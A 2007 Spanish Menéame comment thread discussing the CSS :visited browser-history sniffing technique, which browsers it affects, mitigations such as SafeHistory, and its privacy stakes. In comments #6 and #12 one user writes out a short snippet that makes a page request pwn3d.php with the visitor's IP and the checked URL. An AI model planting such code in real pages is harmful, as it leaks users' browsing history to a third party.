Menéame: comentarios [103556]

#24 Tu historial de navegación, dominio público

mr.xkr — Sat, 03 Mar 2007 02:34:34 +0000

#23 Es errónea dado que el título dice "Tu historial de navegación, dominio público"

NO es cierto que sea TU historial, es cierto que si sepan de una determinada lista los sitios que has visitado. Como que no habrá direcciones en internet. Es válida para poder ver si has visitado sitios, p.e. de tu competencia, pero tampoco es tan grave. No guardar el historial es una buena forma de evitar este problema. No se puede ser tan hopocondríaco con este tema, ni tampoco quedarse tan corto.

Si considerais esto un grave problema de privacidad, no os imaginais cuanto puede ser de comprometedor que aprueben la TCPA: www.againsttcpa.com/

» autor: mr.xkr

#23 Tu historial de navegación, dominio público

agente_naranja — Fri, 02 Mar 2007 14:40:52 +0000

#14, la noticia no es erronea, lo que sería erroneo es el hack en si, y no se puede catalogar de erroneo porque no te funcione...
Y de hecho no es un hack ni de lejos peligroso, o al menos es muy dificil conseguir alguna información vulnerable. Sólo compara las páginas que has visitado con algunas muy comunes, y sabiendo el montón de páginas que hay hoy en día activas en Internet, habría que dedicarle muchisimo tiempo a escanear los links visitados para descubrir alguna cochinadilla...

» autor: agente_naranja

#22 Tu historial de navegación, dominio público

Reglero — Fri, 02 Mar 2007 14:37:02 +0000

he pinchado en la demostración y voilaaaaahhhh, es genial, ha descubierto que hoy he visitado GOOGLE!!! que pedazo de herramienta hacking, mala malosa.

» autor: Reglero

#21 Tu historial de navegación, dominio público

don_Efe — Fri, 02 Mar 2007 13:48:01 +0000

#18, en la pagina ha.ckers.org/weird/CSS-history.cgi se explica que el plugin safehistory funciona sólo para la versión de javascript del bug, pero esta versión CSS no la detecta.

» autor: don_Efe

#20 Tu historial de navegación, dominio público

--1804-- — Fri, 02 Mar 2007 13:38:47 +0000

[Usuario deshabilitado]

» autor: --1804--

#19 Tu historial de navegación, dominio público

magarto — Fri, 02 Mar 2007 12:35:57 +0000

A seguir usando Mac OS X, y Ubuntu para lo técnico

» autor: magarto

#18 Tu historial de navegación, dominio público

kadmon — Fri, 02 Mar 2007 11:27:48 +0000

Con safehistory ( www.safehistory.com ) parece que se soluciona.
Antes me decía que había visitado x urls, ahora no.

Desde aquí se puede instalar también:
addons.mozilla.org/firefox/1502/

Edito: parece que no funciona, no sé por qué antes funcionó.

» autor: kadmon

#17 Tu historial de navegación, dominio público

jotape — Fri, 02 Mar 2007 11:18:18 +0000

#13 #14
The following sites were visited:
Visited: ha.ckers.org/

Pues sí, funciona

» autor: jotape

#16 Tu historial de navegación, dominio público

--2516-- — Fri, 02 Mar 2007 11:14:47 +0000

[Usuario deshabilitado]

» autor: --2516--

#15 Tu historial de navegación, dominio público

Hass — Fri, 02 Mar 2007 11:09:19 +0000

#13 y #14
Pinchad ha.ckers.org/
y ahora en ha.ckers.org/weird/CSS-history.cgi

¿Aparece "ha.ckers.org/ [VISITED]" o no?

» autor: Hass

#14 Tu historial de navegación, dominio público

--21617-- — Fri, 02 Mar 2007 10:58:15 +0000

[Usuario deshabilitado]

» autor: --21617--

#13 Tu historial de navegación, dominio público

cels — Fri, 02 Mar 2007 10:57:47 +0000

probados ambos (CSS y JS hacks) y ninguno funciona bajo Opera 9.20

» autor: cels

#12 Tu historial de navegación, dominio público

Hass — Fri, 02 Mar 2007 10:40:45 +0000

#8 La noticia es cierta.
El CSS se ejecuta en tu PC, claro; pero la imagen falsa se carga desde un servidor remoto y se genera una petición. Ese servidor remoto puede guardar un histórico de peticiones y en esas peticiones aparece el nombre de la imagen (con el dominio) y tu IP. Mira el código que he puesto en #6 : a:visited {background: url(pwn3d.php?tuIP=IP&url=url_a_comprobar)

» autor: Hass

#11 Tu historial de navegación, dominio público

registros — Fri, 02 Mar 2007 10:21:19 +0000

The following sites were visited:
Visited: www.yahoo.com/
Visited: www.google.com/

Esto es todo lo que me sale, es normal???

Editado: Ah vale, ya lo entendí...sabe lo que has visitado, de una lista de sitios... en este caso la lista del ejemplo es cortita.

» autor: registros

#10 Tu historial de navegación, dominio público

mr.xkr — Fri, 02 Mar 2007 10:20:18 +0000

El título es erróneo: No sacan tu historial, sacan simplemente si has visitado páginas que ellos deben conocer previamente. Si afecta a nuestra privacidad, pero no es tan grave como parece ser por el título.

» autor: mr.xkr

#9 Tu historial de navegación, dominio público

versvs — Fri, 02 Mar 2007 10:18:31 +0000

#6 el problema no es tener una parte importante, sino una parte crítica: ¿Qué tal saber quién visita webs de ultraderecha, de lesbianas o de porno? No es interesante para saber quién usa google, sino para conocer quién visita algún tipo de sitios concreto... ¿te imaginas que pudieran mirarte mal por leer un libro de gloria fuertes? Igual por mirar la web del club de fans de gloria fuertes estás en un aprieto... (ejemplo un poco tonto, pero sirve para la idea que quiero explicar...)

» autor: versvs

#8 Tu historial de navegación, dominio público

naorte — Fri, 02 Mar 2007 10:14:44 +0000

Esto no es un fallo ni el historial está en el dominio público: se trata simplemente de un funcionamiento normal de CSS. De la misma forma que podemos hacer que un enlace visitado tenga un color diferente, también podemos hacer que una imagen aparezca al lado, como en la web de prueba. Pero esto solo se ve en el propio PC. Es lo mismo que el código Javascript que te permite ver los archivos de tu PC en una web. Esto no significa que desde fuera te lo puedan ver, vamos, no pueden!

La noticia no es cierta!

» autor: naorte

#7 Tu historial de navegación, dominio público

davidvillarreal — Fri, 02 Mar 2007 10:03:49 +0000

una curiosa ocurrencia... si señor

» autor: davidvillarreal

#6 Tu historial de navegación, dominio público

Hass — Fri, 02 Mar 2007 09:42:33 +0000

El bug tiene tema y no le veo una solución fácil:
<a href="url_a_comprobar"; style="a:visited {background: url(pwn3d.php?tuIP=IP&url=url_a_comprobar);}">url_a_comprobar</a>

Si visitas una página con ese código y has visitado "url_a_comprobar" pwn3d.php será llamado (al intentar cargarlo como imagen) y tendrán tu ip y el dominio que has visitado.

Si generas una lista de esos links suficientemente grande, puedes obtener una buena parte del historial de la gente...

» autor: Hass

#5 Tu historial de navegación, dominio público

Hass — Fri, 02 Mar 2007 09:29:01 +0000

No es exactamente tu historial completo. La web atacante tiene que tener una lista de los posibles sitios webs que hayas visitado.
Lo que obtendrá la web atacante será la intersección de su lista con la lista de tu historial.

» autor: Hass

#4 Tu historial de navegación, dominio público

jesusr — Fri, 02 Mar 2007 09:17:00 +0000

Vaya, todo (o casi, Konqueror no tiene el fallo) es imperfecto. Ahora bien, ¿quien solucionará antes el problema? Yo voto porque será Firefox, es lo que tiene el software libre...

» autor: jesusr

#3 Tu historial de navegación, dominio público

realar — Thu, 01 Mar 2007 20:40:59 +0000

Mi historial es cero patatero. Hay que luchar contra la lucha por la información privada que se avecina.

» autor: realar

#2 Tu historial de navegación, dominio público

gothmog — Thu, 01 Mar 2007 20:19:27 +0000

Con Konqueror no funciona (es de suponer que tampoco con Safari).

» autor: gothmog

#1 Tu historial de navegación, dominio público

Anonymous — Thu, 01 Mar 2007 20:06:46 +0000

Por lo menos el mío está bajo una Creative Commons BY-SA.

» autor: Anonymous